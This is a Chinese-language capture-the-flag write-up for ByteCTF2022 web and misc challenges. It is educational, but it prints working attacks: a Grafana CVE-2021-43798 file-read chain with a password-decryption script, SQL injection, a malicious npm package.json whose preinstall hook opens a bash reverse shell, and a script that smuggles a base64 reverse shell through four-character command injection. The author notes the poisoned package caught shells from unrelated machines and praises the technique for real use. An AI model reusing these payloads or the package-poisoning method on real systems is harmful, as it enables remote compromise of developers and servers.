ByteCTF2022
web
easy_grafana
Grafana8.26,之前starCTF考过这个洞,CVE-2021-43798任意文件读取,但是这里使用了openresty反向代理,基于nginx
测试成功,然后尝试读取/flag这些无果,就读取grafana的配置文件已经数据库
/etc/grafana/grafana.ini配置
/var/lib/grafana/grafana.db数据库
配置文件里面没有password,password在sqlite里面,导出发现是加密的,也不是默认密码
现在又secret-key尝试直接解密,还好github上有别人写好的工具,直接一把梭哈
https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798
这里的password要在sqlite文件里面的内容找,根据脚本的写法
import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
saltLength = 8
aesCfb = "aes-cfb"
aesGcm = "aes-gcm"
encryptionAlgorithmDelimiter = '*'
nonceByteSize = 12
def decrypt(payload, secret):
alg, payload, err = deriveEncryptionAlgorithm(payload)
if err is not None:
return None, err
if len(payload) < saltLength:
return None, "Unable to compute salt"
salt = payload[:saltLength]
key, err = encryptionKeyToBytes(secret, salt)
if err is not None:
return None, err
if alg == aesCfb:
return decryptCFB(payload, key)
elif alg == aesGcm:
return decryptGCM(payload, key)
return None, None
def deriveEncryptionAlgorithm(payload):
if len(payload) == 0:
return "", None, "Unable to derive encryption"
if payload[0] != encryptionAlgorithmDelimiter.encode():
return aesCfb, payload, None
payload = payload[:1]
def encryptionKeyToBytes(secret, salt):
return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None
def decryptGCM(payload, key):
nonce = payload[saltLength: saltLength + nonceByteSize]
payload = payload[saltLength + nonceByteSize:]
gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128)
return gcm.decrypt(payload).decode(), None
def decryptCFB(payload, key):
if len(payload) < AES.block_size:
return None, "Payload too short"
iv = payload[saltLength: saltLength + AES.block_size]
payload = payload[saltLength + AES.block_size:]
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
return cipher.decrypt(payload).decode(), None
if __name__ == "__main__":
grafanaIni_secretKey = "SW2YcwTIb9zpO1hoPsMm"
dataSourcePassword = "b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"
encrypted = base64.b64decode(dataSourcePassword.encode())
pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey)
print(pwdBytes)
ctf_cloud
首先users这里是存在insert注入的,而且waf也没有过滤单引号,可以很简单的绕过,拿到admin权限
var randomPassword = stringRandom(100);
db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});
// insert new user
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
db.run(sql, [username], function(err) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
}
return res.json({"code" : 0, "message" : "Sign up successful"});
var passwordCheck = function (password) {
var blacklist = ['>', '<', '=', '"', ";", '^', '|', '&', ' ', 'and', 'or', 'case', 'if', 'substr', 'like', 'glob', 'regexp', 'mid', 'trim', 'right', 'left', 'between', 'in', 'print', 'format', 'password', 'users', 'from', 'random' ];
for (var i = 0; i < blacklist.length; i++) {
if (password.indexOf(blacklist[i]) !== -1) {
return false;
}
}
return true;
}
然后使用使用自己添加的那个admin用户登陆,接着代码审计
var express = require('express');
var router = express.Router();
var multer = require('multer');
var path = require('path');
var fs = require('fs');
var cp = require('child_process');
var dependenciesCheck = require('../utils/dashboard');
var upload = multer({dest: '/tmp/'});
var appPath = path.join(__dirname, '../public/app');
var appBackupPath = path.join(__dirname, '../public/app_backup');
/* authentication middleware */
router.use(function(req, res, next) {
if (!req.session.is_login)
return res.json({"code" : -1 , "message" : "Please login first."});
next();
});
/* upload api */
router.post('/upload', upload.any(),function(req, res, next) {
if (!req.files) {
return res.json({"code" : -1 , "message" : "Please upload a file."});
}
var file = req.files[0];
// check file name
if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
return res.json({"code" : -1 , "message" : "File name is not valid."});
}
// do upload
var filePath = path.join(appPath, '/public/uploads/', file.originalname);
var fileContent = fs.readFileSync(file.path);
fs.writeFile(filePath, fileContent, function(err) {
if (err) {
return res.json({"code" : -1 , "message" : "Error writing file."});
} else {
res.json({"code" : 0 , "message" : "Upload successful at " + filePath});
}
})
});
/* list upload dir */
router.get('/list', function(req, res, next) {
var files = fs.readdirSync(path.join(appPath, '/public/uploads/'));
res.json({"code" : 0 , "message" : files});
})
/* reset user app */
router.post('/reset', function(req, res, next) {
// reset app folder
cp.exec('rm -rf ' + appPath + '/*', function(err, stdout, stderr) {
if (err) {
console.log(err);
return res.json({"code" : -1 , "message" : "Error resetting app."});
} else {
cp.exec('cp -r ' + appBackupPath + '/* ' + appPath + '/', function(err, stdout, stderr) {
if (err) {
console.log(err);
return res.json({"code" : -1 , "message" : "Error resetting app."});
} else {
return res.json({"code" : 0 , "message" : "Reset successful"});
}
});
}
});
})
/* dependencies get router */
router.get('/dependencies', function(req, res, next) {
res.json({"code" : 0 , "message" : "Please post me your dependencies."});
});
/* set node.js dependencies */
router.post('/dependencies', function(req, res, next) {
var dependencies = req.body.dependencies;
// check dependencies
if (typeof dependencies != 'object' || dependencies === {})
return res.json({"code" : -1 , "message" : "Please input dependencies."});
if (!dependenciesCheck(dependencies))
return res.json({"code" : -1 , "message" : "Dependencies are not valid."});
// write dependencies to package.json
var filePath = path.join(appPath, '/package.json');
var packageJson = {
"name": "userapp",
"version": "0.0.1",
"dependencies": {
}
};
packageJson.dependencies = dependencies;
var fileContent = JSON.stringify(packageJson);
fs.writeFile(filePath, fileContent, function(err) {
if (err) {
return res.json({"code" : -1 , "message" : "Error writing file."});
} else {
return res.json({"code" : 0 , "message" : "Set successful"});
}
});
});
/* run npm install */
router.post('/run', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error running npm install."});
}
return res.json({"code" : 0 , "message" : "Run npm install successful"});
});
});
/* force kill npm install */
router.post('/kill', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
// kill npm process
cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kll -9", function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error killing npm install."});
}
return res.json({"code" : 0 , "message" : "Kill npm install successful"});
});
}
);
module.exports = router;
这里是存在npm投毒的,大概就是你构造一个恶意的npm模块到npm官网上去,然后其他用户下载了就会执行恶意代码,比如说反弹shell之内的
接下来就是构造恶意包
{
"name": "hibyte",
"version": "1.0.3",
"description": "bytectf",
"main": "index.js",
"scripts": {
"preinstall": "bash -c 'bash -i >& /dev/tcp/xxx/2333 0>&1'",
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [
"ctf"
],
"author": "pysnow",
"license": "ISC",
"dependencies": {
}
}
原理很简单,就在scripts下添加一个preinstall脚本,里面的内容填你需要执行的命令就行,这里的preinstall脚本是自动执行的,在你安装的时候,这也是npm投毒的核心原理
接着在npm官网上注册一个账号,使用npm login登陆(注意node版本要求14.18以上)
将自己构造好的恶意包文件上传到官网,等待淘宝源爬取你的包(因为题目使用的是淘宝源)
接着设置package.json,并点击编译,也就是访问/dashboard/run,编译之前把nc监听打开
最终拿到flag,这里记录一下小插曲,就是当我把这个恶意包上传上去之后,在vps上监听,连上了几个非题目的shell,不知道是不是镜像站的机子还是其他用户的机子,所以我认为这个npm污染在真实环境中还是非常有用的,包装一下。
最后我publish到网站上面的恶意包已在做完题之后全部删除
typing_game
这道题做了一天没整出来,payload本地没问题,题目有点让我恶心(只绕不过ip检测,只能老实等30秒),或许可能是自己的解法有问题。先在这里挖个坑,等官方wp出来再学习一下
源码
var express = require('express');
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express();
var PORT = process.env.PORT| 13002;
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs');
app.use(express.static('public'))
app.get("/",function(req,res,next){
var {color,name}= req.query
res.render("index",{color:color,name:name})
})
app.get("/status",function(req,res,next){
var cmd= req.query.cmd? req.query.cmd:"ps"
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
console.log(rip)
if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
const result = child_process.spawnSync(cmd,{shell:true});
out = result.stdout.toString();
res.send(out)
})
app.get('/report', async function(req, res){
const url = req.query.url;
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
}
ipsList.set(rip,now());
const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
const page = await browser.newPage();
try{
await page.goto(url,{
timeout: 10000
});
await new Promise(resolve => setTimeout(resolve, 10e3));
} catch(e){}
await page.close();
await browser.close();
res.send("OK");
});
app.get("/ping",function(req,res,next){
res.send("pong")
})
app.listen(PORT,HOST, function(err){
if (err) console.log(err);
console.log(`Server listening on ${HOST}:${PORT}`);
});
目前的payload
# -*- coding: utf-8 -*-
# @Time : 2022/9/25 14:00
# @Author : pysnow
import time
import requests
from time import sleep
import random
import hashlib
url = 'https://f73b3b600f35429fb4f8a08df1011182.2022.capturetheflag.fun/report?url=http://127.0.0.1:13002/status?cmd={0}'
ses = requests.session()
list = '''>dir
>f\>
>ht-
>sl
*>v
>rev
*v>g
>\>\\
>-d\\
>S}\\
>IF\\
>{\\
>\$\\
>64\\
>se\\
>ba\\
>\|\\
>E=\\
>Jj\\
>A+\\
>ID\\
>M0\\
>Mz\\
>8y\\
>MS\\
>I0\\
>Lj\\
>M4\\
>Mj\\
>gu\\
>MD\\
>4x\\
>Ny\\
>80\\
>cC\\
>Rj\\
>L3\\
>V2\\
>ZG\\
>Av\\
>Ji\\
>+\\
>A\\
>aS\\
>At\\
>aC\\
>Fz\\
>Ym\\
>\ \\
>ho\\
>ec\\
sh\x20g
sh\x20f
sh\x20g'''.split('\n')
print("[+]start attack!!!")
for i in list:
res = ses.get(url.format(i.strip()))
print('[*]' + url.format(i.strip()) + res.text)
time.sleep(20)
这个四字符payload(没用curl,而且处理好了重复文件的问题)在本地试过了没问题,能弹上shell,就是不知道题目环境那里的环境执行的情况是什么样了,要是给个题目环境就好,很烦,等wp学习一波
其他web题没看,没有环境的话就不打算看了
misc
signin
通过url和下面这串代码可以猜出,最后一关是在 /final
const Ot = {}
, fe = [()=>V(()=>import("./chunks/0-7e990fa9.js"), ["chunks\\0-7e990fa9.js", "components\\pages\\_layout.svelte-33834858.js", "assets\\_layout-0eb34970.css", "chunks\\index-c73ecbb1.js"], import.meta.url), ()=>V(()=>import("./chunks/1-bec23329.js"), ["chunks\\1-bec23329.js", "components\\pages\\_error.svelte-f7d51481.js", "chunks\\index-c73ecbb1.js"], import.meta.url), ()=>V(()=>import("./chunks/2-632c422e.js"), ["chunks\\2-632c422e.js", "components\\pages\\_page.svelte-3f1e7194.js", "assets\\_page-26c95c66.css", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js"], import.meta.url), ()=>V(()=>import("./chunks/3-c8dd186a.js"), ["chunks\\3-c8dd186a.js", "components\\pages\\final\\_page.svelte-ee4706b1.js", "chunks\\index-c73ecbb1.js"], import.meta.url), ()=>V(()=>import("./chunks/4-5cc0f9a7.js"), ["chunks\\4-5cc0f9a7.js", "components\\pages\\level1\\_page.svelte-b369a5db.js", "assets\\_page-d0d98abf.css", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/5-8e489c50.js"), ["chunks\\5-8e489c50.js", "components\\pages\\level2\\_page.svelte-1dff31b9.js", "assets\\_page-1e8381e3.css", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/6-10a7f7fe.js"), ["chunks\\6-10a7f7fe.js", "components\\pages\\level3\\_page.svelte-796162f4.js", "chunks\\index-c73ecbb1.js", "chunks\\Lvl3-cb5385e0.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/7-39ce53b9.js"), ["chunks\\7-39ce53b9.js", "components\\pages\\level4\\_page.svelte-e52cd5c0.js", "chunks\\index-c73ecbb1.js", "chunks\\Lvl3-cb5385e0.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/8-1584915c.js"), ["chunks\\8-1584915c.js", "components\\pages\\level5\\_page.svelte-b2eb9f90.js", "chunks\\index-c73ecbb1.js", "chunks\\Lvl3-cb5385e0.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url), ()=>V(()=>import("./chunks/9-734b03c9.js"), ["chunks\\9-734b03c9.js", "components\\pages\\signin\\_page.svelte-7875d6ea.js", "chunks\\index-c73ecbb1.js", "chunks\\index-1cb5dfa0.js", "chunks\\navigation-17876f46.js", "chunks\\singletons-40494541.js", "chunks\\index-55bffce8.js"], import.meta.url)]
, It = []
, At = {
"": [2],
final: [3],
level1: [4],
level2: [5],
level3: [6],
level4: [7],
level5: [8],
signin: [9]
}
抓包发现,需要输入团队id和团队名,直接去平台抓包
最后拿到flag